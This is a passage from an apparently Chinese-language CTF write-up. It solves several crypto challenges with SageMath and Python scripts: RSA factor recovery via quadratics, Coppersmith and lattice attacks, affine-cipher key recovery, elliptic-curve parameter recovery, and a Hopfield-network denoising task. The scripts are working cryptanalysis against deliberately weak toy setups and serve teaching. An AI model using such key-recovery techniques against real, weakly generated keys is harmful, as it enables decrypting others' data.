c = [int(x) for x in c_str.split(',')]
except Exception as e:
print("[-] Error reading output.txt. Make sure the file exists.")
return
print(f"[*] Loaded n (approx {n.bit_length()} bits)")
print(f"[*] Loaded {len(c)} ciphertexts")
offset = 65537
v0 = c[0] - offset
v1 = c[1] - offset
W = 2**80
M = Matrix(ZZ, [
[n, 0, 0],
[0, n, 0],
[v0, v1, W]
])
print("[*] Running LLL...")
L = M.LLL()
p = 0
# 遍历 LLL 结果寻找 p
for row in L:
# 最后一列是 p * W
possible_p = abs(row[2]) // W
if possible_p > 1 and n % possible_p == 0:
p = possible_p
print(f"[+] Found factor p: {p}")
break
if p == 0:
print("[-] Failed to find p")
return
q = n // p
m_bits = ""
for val in c:
check = (val - offset) % q
# x 是 80 bits
if check < 2**81: # Changed ^ to ** for Python compatibility
m_bits += "1"
else:
m_bits += "0"
try:
flag_int = int(m_bits, 2)
flag = long_to_bytes(flag_int)
print(f"[+] Flag: {flag.decode()}")
except Exception as e:
print(f"[!] Decoding failed: {e}")
print(f"[!] Raw bits: {m_bits}")
if __name__ == "__main__":
solve()

StillRSA#

from Crypto.Util.number import *
from gmpy2 import *
def gen():
while(1):
p1 = getPrime(128)
p2 = getPrime(512)
q2 = getPrime(512)
s = q2 & ((1 << 56) - 1)
q1 = 2 * p1 + s
r1 = 2 * q1 + s
if is_prime(q1) and is_prime(r1):
n1 = p1 * q1 * r1
n2 = p2 * q2
break
return n1,n2,p1,p2
n1,n2, p1, p2 = gen()
e = 65537
flag = "flag{---------------------------------------}".encode()
m1 = bytes_to_long(flag[: (len(flag)+1) // 2])
m2 = bytes_to_long(flag[(len(flag)+1) // 2 :])
c1 = powmod(m1, e, n1)
c2 = powmod(m2, e, n2)
gift = p2 >> 262
print(f"e = {e}")
print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"p1 = {p1}")
print(f"gift = {gift}")
'''
e =
n1 =
n2 =
c1 =
c2 =
p1 =
gift =
'''

题目分析

题目提供了一个 Python 脚本 stillRSA.py,其中包含:

  1. 密钥生成函数 gen()
  2. 加密过程:Flag 被切分为两部分 m1m2,分别用 (n1, e)(n2, e) 加密得到 c1c2
  3. 已知信息:e, n1, n2, c1, c2, p1, gift

我们需要分别攻破 n1n2 的体系来恢复 m1m2

第一部分:恢复 m1

1. 漏洞分析

观察 gen() 函数中生成 n1 的部分:

p1 = getPrime(128)
# ...
s = q2 & ((1 << 56) - 1) # s 是一个 56 位的随机数 (q2 的低位)
q1 = 2 * p1 + s
r1 = 2 * q1 + s
# ...
n1 = p1 * q1 * r1

我们已知 n1p1。 由代码可知,q1r1 都线性依赖于 p1 和一个未知数 s

我们可以推导 r1 关于 p1s 的表达式: r1=2(2p1+s)+s=4p1+3sr1 = 2(2p_1 + s) + s = 4p_1 + 3s

q1r1 代入 n1 的公式: n1=p1(2p1+s)(4p1+3s)n1 = p_1 \cdot (2p_1 + s) \cdot (4p_1 + 3s)

因为 p1 已知,我们可以计算 K=n1/p1K = n1 / p1K=(2p1+s)(4p1+3s)K = (2p_1 + s)(4p_1 + 3s) K=8p12+6p1s+4p1s+3s2K = 8p_1^2 + 6p_1s + 4p_1s + 3s^2 K=8p12+10p1s+3s2K = 8p_1^2 + 10p_1s + 3s^2

整理得到关于 s 的一元二次方程: 3s2+10p1s+(8p12K)=03s^2 + 10p_1s + (8p_1^2 - K) = 0

2. 求解 s

这是一个标准的二次方程 as2+bs+c=0as^2 + bs + c = 0,其中:

  • a=3a = 3
  • b=10p1b = 10p_1
  • c=8p12Kc = 8p_1^2 - K

利用求根公式 s=b+b24ac2as = \frac{-b + \sqrt{b^2 - 4ac}}{2a} 即可解出 s

3. 解密 m1

求出 s 后,即可计算:

  • q1=2p1+sq_1 = 2p_1 + s
  • r1=2q1+sr_1 = 2q_1 + s
  • ϕ(n1)=(p11)(q11)(r11)\phi(n_1) = (p_1-1)(q_1-1)(r_1-1)
  • d1=e1(modϕ(n1))d_1 = e^{-1} \pmod{\phi(n_1)}
  • m1=c1d1(modn1)m_1 = c_1^{d_1} \pmod{n_1}

结果: 解密得到 m1flag{Im_a_fw_that_only_。 同时得到 s = 9552164980988953

第二部分:恢复 m2

1. 漏洞分析

观察 gen() 函数中生成 n2 的部分:

p2 = getPrime(512)
q2 = getPrime(512)
s = q2 & ((1 << 56) - 1) # s 是 q2 的低 56 位
# ...
n2 = p2 * q2
# ...
gift = p2 >> 262 # gift 是 p2 的高位 (512 - 262 = 250 位)

我们需要分解 n2 得到 p2。已知信息如下:

  1. p2 的高位: 由 gift 给出。
  2. p2 的低位: 可以通过 s 推导。

推导 p2 低位: 由 s = q2 & ((1 << 56) - 1) 可知: q2s(mod256)q_2 \equiv s \pmod{2^{56}} 因为 n2=p2q2n_2 = p_2 \cdot q_2,所以: n2p2s(mod256)n_2 \equiv p_2 \cdot s \pmod{2^{56}} p2n2s1(mod256)p_2 \equiv n_2 \cdot s^{-1} \pmod{2^{56}}

p2_low 为计算出的 p2 低 56 位。

p2 的结构: p2=(gift×2262)+(x×256)+p2_lowp_2 = (\text{gift} \times 2^{262}) + (x \times 2^{56}) + \text{p2\_low} 其中 xx 是中间未知的比特部分。 已知 p2 是 512 位,gift 覆盖了高 250 位,p2_low 覆盖了低 56 位。 中间未知部分 xx 的长度约为 51225056=206512 - 250 - 56 = 206 位。

  1. Coppersmith 攻击

这是一个典型的已知部分私钥位的 RSA 攻击问题(Coppersmith’s Attack)。我们可以构造一个多项式 f(x)f(x),使得 p2p_2 是它的一个小根。

构造多项式: f(x)=(gift2262+p2_low)+x256(modn2)f(x) = (\text{gift} \cdot 2^{262} + \text{p2\_low}) + x \cdot 2^{56} \pmod{n_2}

我们需要找到 x0x_0,使得 f(x0)0(modp2)f(x_0) \equiv 0 \pmod{p_2}。 由于 p2p_2n2n_2 的因子,且 x0x_0 相对较小 (2206<n20.252^{206} < n_2^{0.25}),我们可以使用格基规约(LLL算法)来求解。在 SageMath 中可以使用 small_roots 方法。

3. SageMath 求解脚本

为了使 small_roots 成功,我们需要调整参数。经过测试,beta=0.48epsilon=0.02 可以成功找到根。

# 关键 SageMath 代码片段
P.<x> = PolynomialRing(Zmod(n2))
# 将 f(x) 变为首一多项式 (monic) 更有利于求解
inv_2_56 = inverse_mod(2^56, n2)
c0 = ((gift << 262) + p2_low) * inv_2_56
f = x + c0
# 求解
roots = f.small_roots(X=2^208, beta=0.48, epsilon=0.02)
x0 = roots[0]
p2 = (gift << 262) + (Integer(x0) << 56) + p2_low

4. 解密 m2

分解出 p2 后:

  • q2=n2/p2q_2 = n_2 / p_2
  • ϕ(n2)=(p21)(q21)\phi(n_2) = (p_2-1)(q_2-1)
  • d2=e1(modϕ(n2))d_2 = e^{-1} \pmod{\phi(n_2)}
  • m2=c2d2(modn2)m_2 = c_2^{d_2} \pmod{n_2}

结果: 解密得到 m2crafts_RSA_challenges}

Sign_in#

from Crypto.Util.number import *
from gmpy2 import *
import random
get_context().precision = 2048
L = 5
S = getPrime(144)
a = getPrime(32)
b = random.randint(0, S - 1)
def split_and_pad_single_char_rule(msg, L):
segments = []
assert L >= 1
pad_len = L - 1
for char_idx, char_byte in enumerate(msg):
char_ascii = char_byte
pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)])
seg_bytes = bytes([char_byte]) + pad_bytes
segments.append(bytes_to_long(seg_bytes))
return segments
def encrypt_segment(m_i, a, b, M):
return (a * m_i + b) % M
flag = "flag{___________________}"
msg_bytes = flag.encode()
m_segments = split_and_pad_single_char_rule(msg_bytes, L)
c_segments = [encrypt_segment(mi, a, b, S) for mi in m_segments]
print(f"a = {a}")
print(f"S = {S}")
print(f"L = {L}")
print(f"C = {c_segments}")
print(f'M = {m_segments}')
'''
a =
S =
L =
C =
'''
  1. 填充规则 (Padding)

代码定义了一个函数 split_and_pad_single_char_rule(msg, L)

  • 对于消息中的每一个字符 char_byte
    • 它会生成 L-1 个填充字节。
    • 填充规则是:pad_bytes[i] = (char_ascii + i + 1) % 256
    • 最后将原始字符和填充字节拼接成一个长度为 L 的字节串。
    • 使用 bytes_to_long 将其转换为大整数。

这意味着每个明文块 mim_i 实际上只包含一个有意义的字符信息,其余是由该字符确定的填充。

2. 加密算法

加密函数 encrypt_segment(m_i, a, b, M) 使用了线性同余(仿射变换)的方式: Ci(ami+b)(modS)C_i \equiv (a \cdot m_i + b) \pmod S

其中:

  • aa 是一个 32 位的素数(题目已给出具体值)。
  • SS 是一个 144 位的素数(题目已给出具体值)。
  • bb 是一个随机整数 0b<S0 \le b < S未知,题目未直接给出)。
  • mim_i 是经过填充后的明文块整数。

3. 已知信息

题目输出了:

  • a=3517115977a = 3517115977
  • S=13338196046628817705384101887069807236659077S = 13338196046628817705384101887069807236659077
  • L=5L = 5
  • 密文列表 C=[c0,c1,...,cn]C = [c_0, c_1, ..., c_n]

步骤一:恢复未知参数 bb

虽然 bb 是随机生成的,但加密过程对于所有字符块使用的是同一个 bb。 这是一个典型的已知明文攻击 (Known Plaintext Attack) 场景。

我们知道 flag 的格式通常为 flag{...}。因此,明文的第一个字符一定是 'f'

  1. 根据题目中的 padding 规则,我们可以计算出字符 'f' 对应的明文整数 m0m_0
  2. 我们拥有对应的密文 c0c_0(即列表 C 中的第一个元素)。
  3. 根据加密公式 c0(am0+b)(modS)c_0 \equiv (a \cdot m_0 + b) \pmod S,我们可以推导出: b(c0am0)(modS)b \equiv (c_0 - a \cdot m_0) \pmod S

步骤二:解密所有片段

一旦我们恢复了 bb,我们就拥有了完整的私钥 (a,b,S)(a, b, S)。 对于任意密文 cic_i,解密公式为: mia1(cib)(modS)m_i \equiv a^{-1} \cdot (c_i - b) \pmod S

其中 a1a^{-1}aaSS 的乘法逆元。

计算出 mim_i 后,将其转换回字节串。根据 padding 规则,字节串的第一个字节即为原始的明文字符。

Exp

from Crypto.Util.number import bytes_to_long, long_to_bytes
# 题目给出的参数
a = 3517115977
S = 13338196046628817705384101887069807236659077
L = 5
C = [
6399813929853868574459915097120849511644924, 6399813929853868574460006087942330564102834,
6399813929853868574459839271436281967929999, 6399813929853868574459930262257763020387909,
6399813929853868574460233564996033195247609, 6399813929853868574460112243900725125303729,
6399813929853868574459111344864433548266719, 6399813929853868574459930262257763020387909,
6399813929853868574460036418216157581588804, 6399813929853868574459808941162454950444029,
6399813929853868574459111344864433548266719, 6399813929853868574460036418216157581588804,
6399813929853868574459808941162454950444029, 6399813929853868574460127409037638634046714,
6399813929853868574459096179727520039523734, 6399813929853868574459930262257763020387909,
6399813929853868574459899931983936002901939, 6399813929853868574460127409037638634046714,
6399813929853868574459945427394676529130894, 6399813929853868574459172005412087583238659,
6399813929853868574460097078763811616560744, 6399813929853868574459808941162454950444029,
6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879,
6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879,
6399813929853868574460263895269860212733579
]
def get_m_for_char(char_byte, L):
"""重现题目中的 padding 逻辑"""
pad_len = L - 1
char_ascii = char_byte
# 构造 padding
pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)])
# 拼接首字节和 padding
seg_bytes = bytes([char_byte]) + pad_bytes
return bytes_to_long(seg_bytes)
# 1. 恢复参数 b
# 利用已知明文攻击:Flag 的第一个字符是 'f'
m0 = get_m_for_char(ord('f'), L)
c0 = C[0]
# 由 c0 = (a * m0 + b) % S 推导:
b = (c0 - a * m0) % S
print(f"[+] Recovered b: {b}")
# 2. 解密所有片段
# 计算 a 的模逆元
try:
a_inv = pow(a, -1, S)
except ValueError:
print("[-] Inverse of a does not exist mod S")
exit()
decrypted_flag = ""
for c in C:
# 解密公式:m = a^-1 * (c - b) % S
m = (a_inv * (c - b)) % S
# 转回 bytes,取第一个字节
seg_bytes = long_to_bytes(m)
# 注意:long_to_bytes 可能会丢弃前导 0 字节,虽然这里不太可能发生(因为 padding 不为 0)
# 但为了严谨,可以补齐长度
if len(seg_bytes) < L:
seg_bytes = b'\x00' * (L - len(seg_bytes)) + seg_bytes
decrypted_flag += chr(seg_bytes[0])
print(f"[+] Flag: {decrypted_flag}")

1ZRSA#

from Crypto.Util.number import *
from gmpy2 import *
import random
def RSA(m,nbit):
while True:
p, q, e = getPrime(nbit), getPrime(nbit), getPrime(nbit)
n = p * q
phi_n = (p - 1) * (q - 1)
d = int(inverse(e, phi_n))
if len(bin(d)[2:]) == 1024:
break
keep_bits = nbit * 2 - 100
mask = int((1 << keep_bits) - 1)
d_ = d & mask
c = powmod(m, e, n)
return c,n,e,d_
def gen(nbit):
c, n, e, d_ = RSA(m, nbit)
N = getPrime(nbit * 2)
t = random.randint(1, nbit * 2 - 1)
C = [random.randint(0, N - 1) for _ in range(t - 1)] + [powmod(d_,1,N)]
R.<x> = GF(N)[]
f = R(0)
for i in range(t):
f += x ** (t - i - 1) * C[i]
enc = [(a, f(a)) for a in [random.randint(1, N - 1) for _ in range(t)]]
with open("output.txt", "w", encoding="utf-8") as f_out:
f_out.write(f"c = {c}\n")
f_out.write(f"n = {n}\n")
f_out.write(f"e = {e}\n")
f_out.write(f"N = {N}\n")
f_out.write(f"enc = {enc}\n")
flag = "flag{-------------------------------}"
m = bytes_to_long(flag.encode())
if __name__ == "__main__":
gen(512)

题目提供了 RSA 加密系统的参数:密文 cc、模数 nn、公钥指数 ee(512位),以及一组关于私钥 dd 的多项式分享值 enc 和对应的模数 NN

题目主要分为两个阶段:

  1. 利用拉格朗日插值法恢复私钥 dd 的低位部分 dlowd_{low}
  2. 利用 Coppersmith (Herrmann-May) 攻击,结合已知的 dlowd_{low} 恢复 nn 的因子 p,qp, q,从而恢复完整的私钥并解密。

第一步:恢复 dd 的低位 (dlowd_{low})

题目给出的 enc 是在模 NN 下的多项式分享值。根据 Shamir 秘密分享的原理,常数项即为秘密值。由于题目给出了足够多的点 (xi,yi)(x_i, y_i),我们可以直接在有限域 GF(N)GF(N) 上使用拉格朗日插值法求出 f(0)f(0)

关键代码 (SageMath):

# 参见 solve_step1.sage
def get_d_part(enc, N):
nums = [val[0] for val in enc]
vals = [val[1] for val in enc]
k = len(enc)
d_part = 0
R = Zmod(N)
# 拉格朗日插值公式
for i in range(k):
xi = nums[i]
yi = vals[i]
numerator = R(1)
denominator = R(1)
for j in range(k):
if i != j:
xj = nums[j]
numerator *= R(-xj)
denominator *= R(xi - xj)
term = R(yi) * numerator * (1/denominator)
d_part += term
return int(d_part)

恢复出的 dlowd_{low} 长度为 924 bit。

第二步:构建 Coppersmith 攻击模型

已知 RSA 密钥方程: ed1(modϕ(n))e \cdot d \equiv 1 \pmod{\phi(n)} ed=1+kϕ(n)e \cdot d = 1 + k \cdot \phi(n)

其中 ϕ(n)=(p1)(q1)=n(p+q)+1\phi(n) = (p-1)(q-1) = n - (p+q) + 1。令 s=p+q1s = p+q-1,则 ϕ(n)=ns\phi(n) = n-s。 方程变为: ed1=k(ns)e \cdot d - 1 = k(n-s)

我们将私钥 dd 分解为高位 dhighd_{high} 和低位 dlowd_{low}d=dhigh2924+dlowd = d_{high} \cdot 2^{924} + d_{low}

代入原方程: e(dhigh2924+dlow)1=k(ns)e \cdot (d_{high} \cdot 2^{924} + d_{low}) - 1 = k(n-s)

移项整理: k(ns)(edlow1)=edhigh2924k(n-s) - (e \cdot d_{low} - 1) = e \cdot d_{high} \cdot 2^{924}

观察上式,右边是 e2924e \cdot 2^{924} 的倍数。因此我们可以构造一个模方程: k(ns)(edlow1)0(mode2924)k(n-s) - (e \cdot d_{low} - 1) \equiv 0 \pmod{e \cdot 2^{924}}

这是一个二元模多项式方程。令 y=k,z=sy = k, z = s,模数 M=e2924M = e \cdot 2^{924},多项式为: f(y,z)=y(nz)(edlow1)f(y, z) = y(n-z) - (e \cdot d_{low} - 1)

我们需要找到 f(y,z)0(modM)f(y, z) \equiv 0 \pmod M 的小根 (y,z)(y, z)。 其中:

  • kk 的大小约为 ed/nee \cdot d / n \approx e (512 bit)。
  • ss 的大小约为 n\sqrt{n} (512 bit)。
  • 模数 M512+924=1436M \approx 512 + 924 = 1436 bit。

这符合 Herrmann-May 攻击的使用场景(求解带有未知模数因子的线性方程,或者此处直接视为模 MM 下的二元方程求解)。

第三步:格基规约求解 (Lattice Reduction)

我们使用 Coppersmith 方法构建格。 构造移位多项式:

  1. gij=yjMifmig_{ij} = y^j \cdot M^i \cdot f^{m-i}
  2. hij=zjMifmih_{ij} = z^j \cdot M^i \cdot f^{m-i}

选取参数 m=6,t=3m=6, t=3,构建格矩阵并使用 LLL 算法进行规约。 规约后,提取格基中最短的两个向量对应多项式 f1,f2f_1, f_2。 计算 Resy(f1,f2)Res_y(f_1, f_2) (关于 yy 的结式) 消除变量 kk,得到关于 zz (即 ss) 的一元多项式。 求解该多项式的根,即可得到 ss

关键代码 (solve_step14.sage):

m = 6
t = 3
PR = PolynomialRing(ZZ, names=('y', 'z'))
y, z = PR.gens()
f = y * (n - z) - e * d_low + 1
Mod = e * 2**924
# ... (构建格矩阵并 LLL 规约) ...
# 求解结式
h = f1.resultant(f2, y)
roots = h.univariate_polynomial().monic().roots()

第四步:分解 nn 与解密

得到 s=p+q1s = p+q-1 后,我们可以轻易求出 p,qp, q

  1. p+q=s+1p+q = s+1
  2. pq=np \cdot q = n

构造一元二次方程: X2(s+1)X+n=0X^2 - (s+1)X + n = 0

解方程得到两个根即为 ppqq。 进而计算私钥 d=e1(modϕ(n))d = e^{-1} \pmod{\phi(n)} 并解密密文。

delta = (s + 1)**2 - 4 * n
delta_sqrt = delta.isqrt()
q = (s + 1 + delta_sqrt) // 2
p = n // q
d = inverse_mod(e, (p-1)*(q-1))
m = power_mod(c, d, n)

exp

from sage.all import *
import time
import re
from Crypto.Util.number import long_to_bytes
def solve():
# Load data
if os.path.exists('output.txt'):
with open('output.txt', 'r') as f:
content = f.read()
n_match = re.search(r'n = (\d+)', content)
c_match = re.search(r'c = (\d+)', content)
e_match = re.search(r'e = (\d+)', content)
n = Integer(n_match.group(1))
c = Integer(c_match.group(1))
e = Integer(e_match.group(1))
else:
print("output.txt not found")
return
if os.path.exists('d_low.txt'):
with open('d_low.txt', 'r') as f:
d_low = Integer(f.read().strip())
else:
d_low = 73679547762758907310076446274562776194202519367884037643715953242934145935677974011667669228912277576799256237051335084262460583763144680637218032833174262135127831256068751475905595967306961059198264080423330034299629317100845637335317944239994339909428725631366533360608531557
print("Running Coppersmith Attack...")
leak = 924
M_shift = 2**leak
# k approx e
Y = 2**512
# s approx sqrt(n)
Z = int(3 * n**0.5)
# Parameters
m = 6 # Increased
t = 3 # Increased
print(f"m={m}, t={t}")
poly = []
monomials = set()
PR = PolynomialRing(ZZ, names=('y', 'z'))
y, z = PR.gens()
# f = k(n-s) - e*d_low + 1
# y = k, z = s
f = y * (n - z) - e * d_low + 1
# Modulus = e * M_shift
Mod = e * M_shift
# Generate polynomials
# g_ij = y^j * (Mod)^i * f^(m-i)
for i in range(m + 1):
for j in range(i + 1): # x-shifts? y is k.
# In reference: y^j
# k shifts.
g = y**j * (Mod)**i * f**(m - i)
poly.append(g)
for mono in g.monomials():
monomials.add(mono)
# h_ij = z^j * (Mod)^i * f^(m-i)
# s shifts
for i in range(m + 1):
for j in range(1, t + 1):
h = z**j * (Mod)**i * f**(m - i)
poly.append(h)
for mono in h.monomials():
monomials.add(mono)
monomials = sorted(monomials)
dim = len(poly)
print(f"Lattice dimension: {dim} x {len(monomials)}")
# Build matrix
mat = Matrix(ZZ, dim, len(monomials))
for row, p in enumerate(poly):
for col, mono in enumerate(monomials):
mat[row, col] = p.monomial_coefficient(mono) * mono(Y, Z)
# Reduce
print("LLL reduction...")
st = time.time()
L = mat.LLL()
et = time.time()
print(f"LLL time: {et - st:.2f}s")
# Extract polynomials
# We need 2 shortest vectors
vec1 = L[0]
vec2 = L[1]
f1 = 0
for idx, mono in enumerate(monomials):
f1 += (vec1[idx] // mono(Y, Z)) * mono
f2 = 0
for idx, mono in enumerate(monomials):
f2 += (vec2[idx] // mono(Y, Z)) * mono
print("Solving resultants...")
# Resultant w.r.t y (k)
# Eliminate y
try:
h = f1.resultant(f2, y)
# Roots of h(z) -> s
roots = h.univariate_polynomial().monic().roots()
for r, _ in roots:
s_cand = Integer(r)
print(f"Found candidate s: {s_cand}")
# Check s
# n = p*q = (s+1-q)*q = s*q + q - q^2
# q^2 - (s+1)q + n = 0
delta = (s_cand + 1)**2 - 4 * n
if delta.is_square():
print("Valid s found!")
# Recover p, q
delta_sqrt = delta.isqrt()
q = (s_cand + 1 + delta_sqrt) // 2
p = n // q
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m_msg = power_mod(c, d, n)
print(f"Flag: {long_to_bytes(int(m_msg)).decode(errors='ignore')}")
return
except Exception as ex:
print(f"Error solving resultant: {ex}")
if __name__ == '__main__':
solve()

Abg#

from Crypto.Util.number import *
def ECC(bit):
g = getPrime(bit)
a = getPrime(bit)
b = getPrime(bit)
E = EllipticCurve(GF(g),[a,b])
J = E.random_point()
K = E.random_point()
L = E.random_point()
r = getPrime(bit // 2)
k = getPrime(16)
s = r * J
s1 = r * J + k * L
s2 = r * k * J
return L.xy(), s.xy(), s1.xy(), s2.xy(), K.xy()
def RSA(m, s, bit):
p = getPrime(bit)
q = getPrime(bit)
rr = getPrime(bit)
n = p * q
gift = pow(rr, rr * (p-1), n)
enc = pow(m, int(s), n)
return gift, n, enc
flag = "flag{--------------------------------}"
m = bytes_to_long(flag.encode())
L, s, s1, s2, K = ECC(256)
gift, n, enc = RSA(m, abs(int(s[0] - s[1])), 512)
print("L =", L)
print("s1 =", s1)
print("s2 =", s2)
print("K =", K)
print("enc =", enc)
print("gift =", gift)
print("n =", n)
'''
L =
s1 =
s2 =
K =
enc =
gift =
n =
'''

这道题目结合了椭圆曲线密码学 (ECC) 和 RSA 算法。题目提供了一个 Sage 脚本 abg.sage 的输出,我们需要从中恢复 Flag。

1. ECC 部分

题目定义了椭圆曲线 y2x3+ax+b(modg)y^2 \equiv x^3 + ax + b \pmod g,并给出了四个点 L,s1,s2,KL, s_1, s_2, K 的坐标。 生成过程如下:

  • g,a,bg, a, bbitbit 位的随机素数(题目中 bit=256bit=256)。
  • J,K,LJ, K, L 是曲线上的随机点。
  • rr 是随机数,kk 是 16 位的随机素数。
  • s=rJs = r \cdot J
  • s1=rJ+kL=s+kLs_1 = r \cdot J + k \cdot L = s + k \cdot L
  • s2=rkJ=kss_2 = r \cdot k \cdot J = k \cdot s

我们的目标是恢复曲线参数 g,a,bg, a, b 以及点 ss 的坐标。

2. RSA 部分

题目给出了 RSA 的相关参数:

  • n=pqn = p \cdot q
  • gift=rrrr(p1)(modn)gift = rr^{rr(p-1)} \pmod n
  • enc=me(modn)enc = m^e \pmod n,其中 e=sxsye = |s_x - s_y|

我们需要利用 gift 分解 nn,并利用 ECC 部分恢复出的 ss 计算私钥解密。

第一步:恢复椭圆曲线参数 g,a,bg, a, b

由于题目给出了曲线上的四个点,我们可以利用点坐标满足曲线方程的性质来恢复模数 gg。 曲线方程为:y2x3+ax+b(modg)y^2 \equiv x^3 + ax + b \pmod g 移项得:y2x3ax+b(modg)y^2 - x^3 \equiv ax + b \pmod gVi=yi2xi3V_i = y_i^2 - x_i^3,则有 Viaxi+b(modg)V_i \equiv ax_i + b \pmod g

对于任意两点 Pi,PjP_i, P_j,有: ViVja(xixj)(modg)V_i - V_j \equiv a(x_i - x_j) \pmod g

对于任意三点 Pi,Pj,PkP_i, P_j, P_k,我们可以消去 aa(ViVj)(xjxk)a(xixj)(xjxk)(modg)(V_i - V_j)(x_j - x_k) \equiv a(x_i - x_j)(x_j - x_k) \pmod g (VjVk)(xixj)a(xjxk)(xixj)(modg)(V_j - V_k)(x_i - x_j) \equiv a(x_j - x_k)(x_i - x_j) \pmod g 两式相减,右边为 0,即: (ViVj)(xjxk)(VjVk)(xixj)0(modg)(V_i - V_j)(x_j - x_k) - (V_j - V_k)(x_i - x_j) \equiv 0 \pmod g

这意味着计算出的值是 gg 的倍数。利用多组点对计算该值,并求最大公约数 (GCD),即可恢复出 gg。 得到 gg 后,代入 a=(ViVj)(xixj)1(modg)a = (V_i - V_j)(x_i - x_j)^{-1} \pmod gb=Viaxi(modg)b = V_i - ax_i \pmod g 即可求出 aabb

第二步:爆破 kk 并恢复 ss

根据题目逻辑: s1=s+kLs_1 = s + k \cdot L s2=kss_2 = k \cdot s 消去 ss,得: s2=k(s1kL)s_2 = k \cdot (s_1 - k \cdot L)

由于 kk 是 16 位的素数,范围非常小 (<65536< 65536)。我们可以遍历所有可能的 kk,验证上述等式是否成立。 找到正确的 kk 后,计算 s=s1kLs = s_1 - k \cdot L。 最后计算 RSA 的公钥指数 e=s.xs.ye = |s.x - s.y|

第三步:利用 gift 分解 nn

题目给出 gift=rrrr(p1)(modn)gift = rr^{rr(p-1)} \pmod n。 根据费马小定理,对于素数 pp,有 xp11(modp)x^{p-1} \equiv 1 \pmod p。 因此,gift(rrrr)p11(modp)gift \equiv (rr^{rr})^{p-1} \equiv 1 \pmod p。 这说明 gift1gift - 1pp 的倍数。 我们可以通过计算 GCD(gift1,n)\text{GCD}(gift - 1, n) 直接求出 pp。 然后 q=n//pq = n // p

第四步:RSA 解密

有了 p,q,ep, q, e,我们可以计算私钥 ddd=e1(mod(p1)(q1))d = e^{-1} \pmod {(p-1)(q-1)} m=encd(modn)m = enc^d \pmod nmm 转换为字节串即为 Flag。

Exp

from Crypto.Util.number import *
# 数据填入 (略)
L = ...
s1 = ...
s2 = ...
K = ...
enc = ...
gift = ...
n = ...
# 1. 恢复 ECC 参数
pts = [L, s1, s2, K]
polys = []
for i in range(len(pts)):
x1, y1 = pts[i]
v1 = y1^2 - x1^3
for j in range(i + 1, len(pts)):
x2, y2 = pts[j]
v2 = y2^2 - x2^3
for k in range(j + 1, len(pts)):
x3, y3 = pts[k]
v3 = y3^2 - x3^3
val = (v1 - v2) * (x2 - x3) - (v2 - v3) * (x1 - x2)
if val != 0:
polys.append(abs(val))
g = polys[0]
for val in polys[1:]:
g = gcd(g, val)
print(f"Recovered g: {g}")
# 计算 a, b
x1, y1 = pts[0]
x2, y2 = pts[1]
v1 = y1^2 - x1^3
v2 = y2^2 - x2^3
a = (v1 - v2) * inverse_mod(x1 - x2, g) % g
b = (v1 - a * x1) % g
E = EllipticCurve(GF(g), [a, b])
PL = E(L)
Ps1 = E(s1)
Ps2 = E(s2)
# 2. 爆破 k
print("Brute forcing k...")
found_k = None
for k in range(1, 65536):
try:
# 验证 k * (s1 - k*L) == s2
if k * Ps1 - k * k * PL == Ps2:
found_k = k
print(f"Found k: {k}")
break
except:
continue
# 恢复 s
Ps = Ps1 - found_k * PL
s_coords = Ps.xy()
s_val = abs(int(s_coords[0] - s_coords[1]))
# 3. RSA 分解
p = gcd(gift - 1, n)
q = n // p
print(f"p: {p}")
print(f"q: {q}")
# 4. 解密
d = inverse_mod(s_val, (p - 1) * (q - 1))
m_int = power_mod(enc, d, n)
flag = long_to_bytes(m_int)
print(f"Flag: {flag}")

Artificial Intelligence#

Contaminated-data#

题目分析

题目提供了两个文件:

  1. c.npy: 一个形状为 (4, 76) 的二进制数组(元素为 0 和 1)。这代表了一个被“污染”或带有噪声的数据状态。
  2. weights.npy: 一个形状为 (304, 304) 的浮点数权重矩阵。

初步观察

  • 权重矩阵的维度 304 正好等于 4 * 76,说明它是对展平后的状态向量进行操作的。
  • 检查 weights.npy 发现矩阵是对称的(W=WTW = W^T),且对角线元素全为 0。
  • 这种结构(对称且零对角线)是 Hopfield Network(霍普菲尔德网络) 的典型特征。Hopfield 网络是一种能够作为联想存储器的递归神经网络,它可以根据部分或受损的输入恢复出存储的完整模式。

解题思路

既然识别出这是 Hopfield 网络,且题目名为 “Contaminated-data”,我们的目标就是利用给定的权重矩阵,将受污染的状态 c 恢复到网络存储的稳定状态(Stable State)。

Hopfield 网络的神经元状态更新规则如下: si(t+1)=sign(jw_ijsj(t))s*i(t+1) = \text{sign}\left(\sum*{j} w\_{ij} s_j(t)\right)

其中 ss 通常取值为 {1,1}\{-1, 1\}

步骤

  1. 加载 c.npyweights.npy
  2. c 展平并转换为双极性状态(将 0 映射为 -1,1 保持为 1,或者直接处理 0/1,取决于具体实现,但标准 Hopfield 使用 -1/1)。
  3. 反复应用更新规则,直到状态不再发生变化(收敛)。
  4. 将收敛后的状态还原为 (4, 76) 的形状并可视化。

exp:

import numpy as np
# 1. 加载数据
c = np.load('c.npy')
weights = np.load('weights.npy')
# 2. 预处理
# 将 0/1 转换为 -1/1 以符合 Hopfield 网络标准操作
state = c.flatten()
state = np.where(state == 0, -1, 1)
# 3. 迭代恢复
print("开始恢复状态...")
for i in range(20):
# 计算激活值: W * s
activation = weights @ state
# 应用符号函数 sign
new_state = np.sign(activation)
# 处理 sign(0) 的情况,防止变成 0
new_state[new_state == 0] = 1
# 检查是否收敛
diff = np.sum(new_state != state)
print(f"Iteration {i+1}: changed {diff} bits")
if diff == 0:
print("状态已收敛!")
break
state = new_state
# 4. 可视化结果
# 将 -1/1 转回 0/1
recovered_bits = np.where(state == -1, 0, 1)
grid = recovered_bits.reshape(4, 76)
print("\n恢复后的图案:")
for row in grid:
# 使用 # 和空格打印,便于人眼识别
print("".join(["#" if x == 1 else " " for x in row]))

结果分析

运行上述脚本后,我们得到如下字符网格:

## # # ## # ## # ## # # ## # # # # # # # ## ## #
# # # # # # # # # # # # ## # # # # ## # # # # # #
## # ## ## # ## # # # # # # ## # # # # # # # # #
# ## # # ## # # ## ## # ## # # # ## ## # # # ## # # # #

人工识别这些像素点组成的字符:

  1. FLAG{
  2. FLOVE
  3. _ (下划线)
  4. ALL
  5. _ (下划线)
  6. HURT
